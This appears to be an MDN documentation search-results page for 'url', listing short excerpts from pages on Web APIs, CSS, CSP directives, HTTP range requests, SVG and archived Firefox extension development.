LocalFileSystemSync - Web APIs
the global methods in the window object requestfilesystemsync() and resolvelocalfilesystemsync
url() methods are exposed to the worker's global scope.
... method overview filesystemsync requestfilesystemsync (in unsigned short type, in long long size) raises fileexception; entrysync resolvelocalfilesystemsync
url (in domstring
url) raises fileexception; constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion.
... resolvelocalfilesystemsync
url() allows the user to look up the entry for a file or directory referred to by a local
url.
...And 3 more matches
Web-based protocol handlers - Web APIs
the
url template, used as the handler.
... the "%s" is replaced with the href of the link and a get is executed on the resultant
url.
...firefox displays a prompt in the notification bar area: note:the
url template supplied when registering must be of the same domain as the webpage attempting to perform the registration or the registration will fail.
...And 3 more matches
Request() - Web APIs
this can either be: a usvstring containing the direct
url of the resource you want to fetch.
... body: any body that you want to add to your request: this can be a blob, buffersource, formdata,
urlsearchparams, usvstring, or readablestream object.
... referrer: a usvstring specifying no-referrer, client, or a
url.
...And 3 more matches
ValidityState.typeMismatch - Web APIs
if the type attribute expects specific strings, such as the email and
url types and the value don't doesn't conform to the constraints set by the type, the typemismatch property will be true.
... the
url input type expects one or more valid email
urls, depending on whether the multiple attribute is present.
... a valid
url includes a protocol, optionally with an ip address, or an optional subdomain, domain, and top level domain combination.
...And 3 more matches
Using Web Workers - Web APIs
the exception to this is if the worker script's origin is a globally unique identifier (for example, if its
url has a scheme of data or blob).
... first, we create a queryableworker class that takes the
url of the worker, a default listener, and an error handler, and this class is going to keep track of a list of listeners and help us communicate with the worker: function queryableworker(
url, defaultlistener, onerror) { var instance = this, worker = new worker(
url), listeners = {}; this.defaultlistener = defaultlistener || function() {}; if (onerror) {worker.onerror =...
... json data): see worker.prototype.postmessage() * terminate(): terminates the worker * addlistener(name, function): adds a listener * removelistener(name): removes a listener queryableworker instances properties: * defaultlistener: the default listener executed only when the worker calls the postmessage() function directly */ function queryableworker(
url, defaultlistener, onerror) { var instance = this, worker = new worker(
url), listeners = {}; this.defaultlistener = defaultlistener || function() {}; if (onerror) {worker.onerror = onerror;} this.postmessage = function(message) { worker.postmessage(message); } this.terminate = function() { worker.terminate(); } this.
...And 3 more matches
Border-radius generator - CSS: Cascading Style Sheets
slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: ...
...-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image:
url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-c...
...heckbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image:
url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /******************************************************************************/ /* * preview area */ #preview { h...
...And 3 more matches
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
when a
url points at a specific piece of a document, it can be difficult for the user to notice.
... find out how you can use some simple css to draw attention to the target of a
url and improve the user's experience.
... picking a target the pseudo-class :target is used to style the target element of a
url containing a fragment identifier.
...And 3 more matches
CSS values and units - CSS: Cascading Style Sheets
textual data types <custom-ident> pre-defined keywords as an <ident> <string> <
url> text data types are either <string>, a quoted series of characters, or an <ident>, a "css identifier" which is an unquoted string.
...
urls a <
url> type uses functional notation, which accepts a <string> that is a
url.
... this may be an absolute
url or a relative
url.
...And 3 more matches
clip-path - CSS: Cascading Style Sheets
syntax /* keyword values */ clip-path: none; /* <clip-source> values */ clip-path:
url(resources.svg#c1); /* <geometry-box> values */ clip-path: margin-box; clip-path: border-box; clip-path: padding-box; clip-path: content-box; clip-path: fill-box; clip-path: stroke-box; clip-path: view-box; /* <basic-shape> values */ clip-path: inset(100px 50px); clip-path: circle(50px at 0 100px); clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%); clip-path: path('m0.5,1 c0.5,1,0,0.7,0,0.3...
... values <clip-source> a <
url> referencing an svg <clippath> element.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to reference box when specified, otherwise border-boxcomputed valueas specified, but with <
url> values made absoluteanimation typeyes, as specified for <basic-shape>, otherwise no formal syntax <clip-source> | [ <basic-shape> | <geometry-box> ] | nonewhere <clip-source> = <
url><basic-shape> = <inset()> | <circle()> | <ellipse()> | <polygon()> | <path()><geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <inset()> = inset( <length-percentage>{1,4} [ round <'border-radius'...
...And 3 more matches
<image> - CSS: Cascading Style Sheets
syntax the <image> data type can be represented with any of the following: an image denoted by the <
url> data type a <gradient> data type a part of the webpage, defined by the element() function an image, image fragment or solid patch of color, defined by the image() function a blending of two or more images defined by the cross-fade() function.
... mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 examples valid images
url(test.jpg) /* a <
url>, as long as test.jpg is an actual image */ linear-gradient(blue, red) /* a <gradient> */ element(#realid) /* a part of the webpage, referenced with the element() function, if "realid" is an existing id on the page */ image(ltr 'arrow.png#xywh=0,0,16,16', red) /* a section 16x16 section of <ur...
...*/ cross-fade(20%
url(twenty.png),
url(eighty.png)) /* cross faded images, with twenty being 20% opaque and eighty being 80% opaque.
...And 3 more matches
mask - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size syntax /* keyword values */ mask: none; /* image values */ mask:
url(mask.png); /* pixel image used as mask */ mask:
url(masks.svg#star); /* element within svg graphic used as mask */ /* combined values */ mask:
url(masks.svg#star) luminance; /* element within svg graphic used as luminance mask */ mask:
url(masks.svg#star) 40px 20px; /* element within svg graphic used as mask positioned 40px from the top and 20px ...
...from the left */ mask:
url(masks.svg#star) 0 0/50px 50px; /* element within svg graphic used as mask with a width and height of 50px */ mask:
url(masks.svg#star) repeat-x; /* element within svg graphic used as horizontally repeated mask */ mask:
url(masks.svg#star) stroke-box; /* element within svg graphic used as mask extending to the box enclosed by the stroke */ mask:
url(masks.svg#star) exclude; /* element within svg graphic used as mask and combined with background using non-overlapping parts */ /* global values */ mask: inherit; mask: initial; mask: unset; /* multiple masks */ mask:
url(masks.svg#star) left / 16px repeat-y, /* element within svg graphic is used as a mask on the left-hand side with a width of 16px */
url(masks.svg#circle) right / 16px rep...
...: addapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-position: refer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueas each of the properties of the shorthand:mask-image: as specified, but with <
url> values made absolutemask-mode: as specifiedmask-repeat: consists of two keywords, one per dimensionmask-position: consists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.mask-clip: as specifiedmask-origin: as specifiedmask-size: as specified, but with relative lengths converted into absol...
...And 3 more matches
Getting Started - Developer guides
the second parameter is the
url you're sending the request to.
... as a security feature, you cannot call
urls on 3rd-party domains by default.
...for example, use the following before calling send() for form data sent as a query string: httprequest.setrequestheader('content-type', 'application/x-www-form-
urlencoded'); step 2 – handling the server response when you sent the request, you provided the name of a javascript function to handle the response: httprequest.onreadystatechange = nameofthefunction; what should this function do?
...And 3 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
calling any of the following on a tainted canvas will result in an error: calling getimagedata() on the canvas's context calling toblob() on the <canvas> element itself calling todata
url() on the canvas attempting any of these when the canvas is tainted will cause a securityerror to be thrown.
... starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let image
url = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = image
url; } we're using a hard-coded
url here (image
url), but that could easily come from anywhere.
... finally, the image's src attribute is set to the
url of the image to download; this triggers the download to begin.
...And 3 more matches
<input type="submit"> - HTML: Hypertext Markup Language
this label is likely to be something along the lines of "submit" or "submit query." here's an example of a submit button with a default label in your browser: <input type="submit"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the
url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form.
... formnovalidate a boolean which, if present, means the form's fields will not be subjected to constraint validation before submitting the data to the server formtarget the browsing context into which to load the response returned by the server after submitting the form formaction a string indicating the
url to which to submit the data.
...there are three permitted values: application/x-www-form-
urlencoded this, the default value, sends the form data as a string after
url encoding the text using an algorithm such as encodeuri().
...And 3 more matches
CSP: child-src - HTTP
syntax one or more sources can be allowed for the child-src policy: content-security-policy: child-src <source>; content-security-policy: child-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: default-src - HTTP
-attr worker-src csp version 1 directive type fetch directive syntax one or more sources can be allowed for the default-src policy: content-security-policy: default-src <source>; content-security-policy: default-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: frame-src - HTTP
syntax one or more sources can be allowed for the frame-src policy: content-security-policy: frame-src <source>; content-security-policy: frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: img-src - HTTP
syntax one or more sources can be allowed for the img-src policy: content-security-policy: img-src <source>; content-security-policy: img-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: manifest-src - HTTP
syntax one or more sources can be allowed for the manifest-src policy: content-security-policy: manifest-src <source>; content-security-policy: manifest-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: media-src - HTTP
syntax one or more sources can be allowed for the media-src policy: content-security-policy: media-src <source>; content-security-policy: media-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: object-src - HTTP
syntax one or more sources can be allowed for the object-src policy: content-security-policy: object-src <source>; content-security-policy: object-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: script-src-elem - HTTP
content-security-policy: script-src-elem <source>; content-security-policy: script-src-elem <source> <source>; script-src-elem can be used in conjunction with script-src: content-security-policy: script-src <source>; content-security-policy: script-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: style-src-attr - HTTP
olicy: content-security-policy: style-src-attr <source>; content-security-policy: style-src-attr <source> <source>; style-src-attr can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: style-src-elem - HTTP
y: content-security-policy: style-src-elem <source>; content-security-policy: style-src-elem <source> <source>; style-src-elem can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
CSP: worker-src - HTTP
syntax one or more sources can be allowed for the worker-src policy: content-security-policy: worker-src <source>; content-security-policy: worker-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 3 more matches
HTTP range requests - HTTP
you can check this by issuing a head request with c
url, for example.
... c
url -i http://i.imgur.com/z4d4kwk.jpg http/1.1 200 ok ...
... c
url -i https://www.youtube.com/watch?v=ewtz2xpqwpa http/1.1 200 ok ...
...And 3 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
<style>p { mask:
url(#my-mask); }</style> in the above example, all paragraphs are masked by an svg <mask> with the id my-mask.
...content using svg and css code similar to the following, inside your html document: <svg height="0"> <mask id="mask-1"> <lineargradient id="gradient-1" y2="1"> <stop stop-color="white" offset="0"/> <stop stop-opacity="0" offset="1"/> </lineargradient> <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/> <rect x="0.5" y="0.2" width="300" height="100" fill="
url(#gradient-1)"/> </mask> </svg> .target { mask:
url(#mask-1); } p { width: 300px; border: 1px solid #000; display: inline-block; } note that in the css, the mask is specified using a
url to the id #mask-1, which is the id of the svg mask specified below it.
...</p> <button onclick="toggleradius()">toggle radius</button> <svg height="0"> <clippath id="clipping-path-1" clippathunits="objectboundingbox"> <circle cx="0.25" cy="0.25" r="0.25" id="circle"/> <rect x="0.5" y="0.2" width="0.5" height="0.8"/> </clippath> </svg> .target { clip-path:
url(#clipping-path-1); } p { width: 300px; border: 1px solid #000; display: inline-block; } this establishes a clipping area made of a circle and rectangle, assigns it the id #clipping-path-1, then references it in the css.
...And 3 more matches
Tools for SVG - SVG: Scalable Vector Graphics
inkscape
url: www.inkscape.org one of the most important tools for a graphics format is a decent drawing program.
... adobe illustrator
url: www.adobe.com/products/illustrator/ before adobe acquired macromedia, it was the most prominent promoter of svg.
... apache batik
url: xmlgraphics.apache.org/batik/ batik is a set of open source tools under the roof of the apache software foundation.
...And 3 more matches
Same-origin policy - Web security
definition of an origin two
urls have the same origin if the protocol, port (if specified), and host are the same for both.
...(a "tuple" is a set of items that together comprise a whole — a generic form for double/triple/quadruple/quintuple/etc.) the following table gives examples of origin comparisons with the
url http://store.company.com/dir/page.html:
url outcome reason http://store.company.com/dir2/other.html same origin only the path differs http://store.company.com/dir/inner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure different port (http:// is port 80 by default) http://news.company.com/dir/page.html failure different host ...
... inherited origins scripts executed from pages with an about:blank or javascript:
url inherit the origin of the document containing that
url, since these types of
urls do not contain information about an origin server.
...And 3 more matches
Reddit Example - Archive of obsolete content
to accomplish this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target
url.
... the content script then needs to send the
url to the add-on script.
... this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").panel({ width: 240, height: 320, content
url: "http://www.reddit.com/.mobile?keep_extension=true", contentscriptfile: [data.
url("jquery-2.1.0.min.js"), data.
url("panel.js")] }); reddit_panel.port.on("click", function(
url) { require("sdk/tabs").open(
url); }); this code supplies two content scripts to the panel's constructor in the contentscriptfile option: the jquery library and the script that intercepts link clicks.
...And 2 more matches
self - Archive of obsolete content
for data that can be displayed directly in a content frame, use data.
url().
... data.
url(name) the data.
url() method returns a resource://
url that points at an embedded data file.
...the
url can be passed to a content frame constructor, such as the panel: var self = require("sdk/self"); var mypanel = require("sdk/panel").panel({ content
url: self.data.
url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.
url("myfile.html").
...And 2 more matches
content/loader - Archive of obsolete content
loader adds code to initialize and validate a set of properties for managing content scripts: content
url contentscript contentscriptfile contentscriptwhen contentscriptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action.
...symbiont inherits from loader but contains its own frame into which it loads content supplied as the content
url option.
... example: the following code creates a wrapper on a hidden frame that reloads a web page in the frame every time the content
url property is changed: var hiddenframes = require("sdk/frame/hidden-frame"); var { loader } = require("sdk/content/content"); var pageloader = loader.compose({ constructor: function pageloader(options) { options = options || {}; if (options.content
url) this.content
url = options.content
url; this.on('propertychange', this._onchange = this._onchange.bind(this)); let self = this; hiddenframes.add(hiddenframes.hiddenframe({ onready: function onready() { let frame = self._frame = this.element; self._emit('propertychange', { content
url: self.content
url }); } })); }, _onchange: function _onchange(e) { if ('...
...And 2 more matches
places/history - Archive of obsolete content
example let { search } = require("sdk/places/history"); // simple query search( {
url: "https://developers.mozilla.org/*" }, { sort: "visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with...
... 'javascript' in the
url or title.
...possible options are 'title', 'date', '
url', 'visitcount', 'keyword', 'dateadded' and 'lastmodified'.
...And 2 more matches
tabs/utils - Archive of obsolete content
opentab(window,
url, options) open a new tab in the specified browser window.
...
url : string
url for the document to load.
... parameters window : window returns tab : gettab
url(tab) get the specified tab's
url.
...And 2 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
manager api: // this is the old way of getting one of your files const myaddonid = ...; // just store a constant with your id components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid(myaddonid,function(addon) { var file = services.io.newuri("resource://myaddon/filename.ext",null,null) .queryinterface(components.interfaces.nsifile
url) .file; var stream = components.classes["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream) .queryinterface(components.interfaces.nsiseekablestream); stream.init(file, 0x01, 0444, 0); // read-only, read by owner/group/others, normal behavior /* do stuff */...
...it's available in the global for a window, but in jsm you'll need to fetch it from an interface: const xmlhttprequest = components.constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsixmlhttprequest"); here's how to load a file using it: function loadfile(
url,type,returnresult) { var request = new xmlhttprequest(); request.open("get",
url, true); // async=true request.responsetype = type; request.onerror = function(event) { logerrormessage("error attempting to load: " +
url); returnresult(null); }; request.onload = function(event) { if (request.response) returnresult(request.response); ...
... else request.onerror(event); }; request.send(); } loadfile("chrome://myaddon/content/filename.ext",datatype,function(data) { /* do stuff with data */ }); note: when using xmlhttprequest to access a file://
url the request.status is not properly set to 200 to indicate success.
...And 2 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": {
url: aevent.target.href, icon
url: aevent.target.getattribute("icon
url"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.
url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.example.com/foo.xpi" icon
url="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d...
... the install first creates a parameter block: var params = { "foo": {
url: aevent.target.href, icon
url: aevent.target.getattribute("icon
url"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.
url; } }; this specifies the display name (foo) for use in the confirmation dialog, the
url to the extension (which is the link href, recall), the icon
url to display in the confirmation dialog, a hash of the xpi file...
...
url the
url property specifies the
url of the xpi to install.
...And 2 more matches
Extensions support in SeaMonkey 2 - Archive of obsolete content
differences as compared to other toolkit/-based applications you need to overlay/open different chrome
urls as compared to firefox.
... some
urls are listed below:
url in firefox
url in seamonkey overlays chrome://browser/content/browser.xul chrome://navigator/content/navigator.xul main browser window chrome://browser/content/pageinfo/pageinfo.xul chrome://navigator/content/pageinfo/pageinfo.xul page info window chrome://browser/content/preferences/permissions.xul chrome://communicator/content/permis...onsmanager.xul permissions manager dialog
urls added in 2.1
url in firefox
url in seamonkey chrome://browser/content/bookmarks/bookmarkspanel.xul chrome://communicator/content/bookmarks/bm-panel.xul chrome://browser/content/places/places.xul chr...
...ome://communicator/content/bookma...rksmanager.xul thunderbird uses mostly the same chrome
urls for overlaying as seamonkey.
...And 2 more matches
Adding preferences to an extension - Archive of obsolete content
however, we do need to add one new line to the install.rdf file: <em:options
url>chrome://stockwatcher2/content/options.xul</em:options
url> this line establishes the
url of the xul file that describes the options dialog.
... refreshinformation() this method is slightly revised from previous versions, in that it needs to fetch the preference for the stock to watch and use that to construct the
url to monitor, as well as to construct the string to be displayed in the status bar panel.
... refreshinformation: function() { // because we may be called as a callback, we can't rely on // "this" referring to the right object, so we need to reference // it by its full name var symbol = stockwatcher.tickersymbol; var full
url = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=" + symbol; function inforeceived() { var samplepanel = document.getelementbyid('stockwatcher2'); var output = httprequest.responsetext; if (output.length) { // remove any whitespace from the end of the string output = output.replace(/\w*$/, ""); // build the tooltip string var fieldarray = output.split(","); samplepanel.label = symbol + ": " + fieldarray[1]; samplepanel.tooltiptext...
...And 2 more matches
Java in Firefox Extensions - Archive of obsolete content
e at http://brett-zamir.me/java_demo/ ] for privileges, the basic procedure is: download and include http://simile.mit.edu/repository/jav...nsionutils.jar within your extension (you can also build your own from the source files at http://simile.mit.edu/repository/jav...xtensionutils/ ) build and add references leading to this jar and all other jars in your extension within an array of java.net.
url's, pass to java.net.
urlclassloader to get a class loader, and finally pass the classloader and array to a function which gives the necessary privileges: // this function will be called to give the necessary privileges to your jar files // however, the policy never comes into play, because // (1) adding permissions doesn't add to the policy itself, and // (2) add
url alone does not set the ...
...grant codebase function policyadd (loader,
urls) { try { //if have trouble with the policy try changing it to //edu.mit.simile.javafirefoxextensionutils.
urlsetpolicy var str = 'edu.mit.simile.javafirefoxextensionutils.
urlsetpolicy'; var policyclass = java.lang.class.forname( str, true, loader ); var policy = policyclass.newinstance(); policy.setouterpolicy(java.security.policy.getpolicy()); java.security.policy.setpolicy(policy); policy.addpermission(new java.security.allpermission()); for (var j=0; j <
urls.length; j++) { policy.add
url(
urls[j]); } }catch(e) { alert(e+'::'+e.linenumber); } } //get extension folder in...
...n("test@yoursite"); //the path logic would work if we include em:unpack for ff 4.x, for ff 3.x since things are unpacked by default things work // get path to the jar files (the following assumes your jars are within a // directory called "java" at the root of your extension's folder hierarchy) // you must add this utilities (classloader) jar to give your extension full privileges var extension
url = "file:///" + extensionpath.path.replace(/\\/g,"/"); var classloaderjarpath = extension
url + "/java/javafirefoxextensionutils.jar"; // add the paths for all the other jar files that you will be using var myjarpath = extension
url + "/java/testjava.jar"; // seems you don't actually have to replace the backslashes as they work as well var
urlarray = []; // build a regular javascript array (livecon...
...And 2 more matches
Index - Archive of obsolete content
723 ho
urleadingzero xul properties, xul reference no summary!
...for example, for an xml datasource, the
url of an xml file is specified.
... 963
urlbar-icons xul reference, xul_element the location of ui elements like the bookmarks, feed and go buttons.
...And 2 more matches
loadURIWithFlags - Archive of obsolete content
« xul reference home loaduriwithflags( uri, flags, referrer, charset, postdata ) return type: no return value load a
url into the document, with the specified load flags, the given referrer, character set, and post data.
... in addition to the flags allowed for the reloadwithflags method, the following flags are also valid: load_flags_is_refresh: this flag is used when the
url is loaded because of a meta tag refresh or redirect.
... load_flags_is_link: this flag is used when the
url is loaded because a user clicked on a link.
...And 2 more matches
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference.
...for the first result, the value of the ?photo variable 'http://www.xulplanet.com/ndeakin/images/t/palace.jpg' will be used as the subject, the predicate will be 'http://p
url.org/dc/elements/1.1/title', and the object will be 'canal'.
...another thing that you cannot have is a triple where both variables would be unknown as in the following: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?category" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> </query> in this case when the template builder gets to the triple, neither the ?category nor the ?title variables can be filled in so the builder doesn't know what to generate.
...And 2 more matches
RDF Modifications - Archive of obsolete content
for instance, an assert call looks like the following: var source = rdf.getresource("http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"); var predicate = rdf.getresource("http://p
url.org/dc/elements/1.1/description"); var target = rdf.getliteral("one of the thirty or so egyptian obelisks"); datasource.assert(source, predicate, target, true); the assert call adds a new triple to the rdf datasource.
... subject: http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg predicate: http://p
url.org/dc/elements/1.1/description object: one of the thirty or so egyptian obelisks the template builder will be notified through the rdf observer mechanism of the change.
...let's assume we have single query with as follows: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> </query> these query statements will cause any photos with both a title and a description to be displayed.
...And 2 more matches
Simple Query Syntax - Archive of obsolete content
here is what it might look like: <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://p
url.org/dc/elements/1.1/title"/> </vbox> </template> there is no <query> or <action> element used.
...for example, the label's value attribute has a value of rdf:http://p
url.org/dc/elements/1.1/title'.
... this means look up the value of the predicate http://p
url.org/dc/elements/1.1/title' pointing out of the current result.
...And 2 more matches
Creating a Skin - Archive of obsolete content
add a line to the file 'chrome/installed-chrome.txt of the following form: skin,install,
url,file:///stuff/blueswayedshoes/ where the last part points to the directory you created.
...we can then refer to it using the
url 'chrome://findfile/skin/findfile.css'.
... #opensearch { list-style-image:
url("chrome://editor/skin/icons/btn1.gif"); -moz-image-region: rect(48px 16px 64px 0); -moz-box-orient: vertical; } #savesearch { list-style-image:
url("chrome://editor/skin/icons/btn1.gif"); -moz-image-region: rect(80px 16px 96px 0); -moz-box-orient: vertical; } mozilla provides a custom style property -moz-image-region which can be used to make an element use part of an image.
...And 2 more matches
Creating a Window - Archive of obsolete content
note that this
url is never actually downloaded.
... mozilla will recognize this
url internally.
...if you are only in the development stage, you can just type the
url (whether a chrome:, file: or other
url type) into the location bar in a mozilla browser window.
...And 2 more matches
Introduction to RDF - Archive of obsolete content
a bookmarks list contains a set of records, each with a set of data associated with it, such as a
url, a bookmark title and a visited date.
...for example, a selection of the fields in the mozilla bookmark list is described by the uris below: name http://home.netscape.com/nc-rdf#name bookmark name
url http://home.netscape.com/nc-rdf#
url url to link to description http://home.netscape.com/nc-rdf#description bookmark description last visited http://home.netscape.com/web-rdf#lastvisitdate date of last visit these are generated by taking a namespace name and appending the field name.
...each of three fields have been given a namespace of animals, the
url of which has been declared on the rdf tag.
...And 2 more matches
tree - Archive of obsolete content
*/ list-style-image:
url("") } treechildren::-moz-tree-checkbox(checked) { /* checked checkbox treecells.
... cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a
url to an image in your extension or elsewhere.
... */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells.
...And 2 more matches
NPStream - Archive of obsolete content
syntax typedef struct _npstream { void* pdata; /* plug-in private data */ void* ndata; /* netscape private data */ const char*
url; uint32 end; uint32 lastmodified; void* notifydata; const char *headers; } npstream; fields the data structure has the following fields: plug-in-private value that the plug-in can use to store a pointer to private data associated with the instance; not modified by the browser.
...
url the
url that the data in the stream is read from or written to.
... lastmodified time the data in the
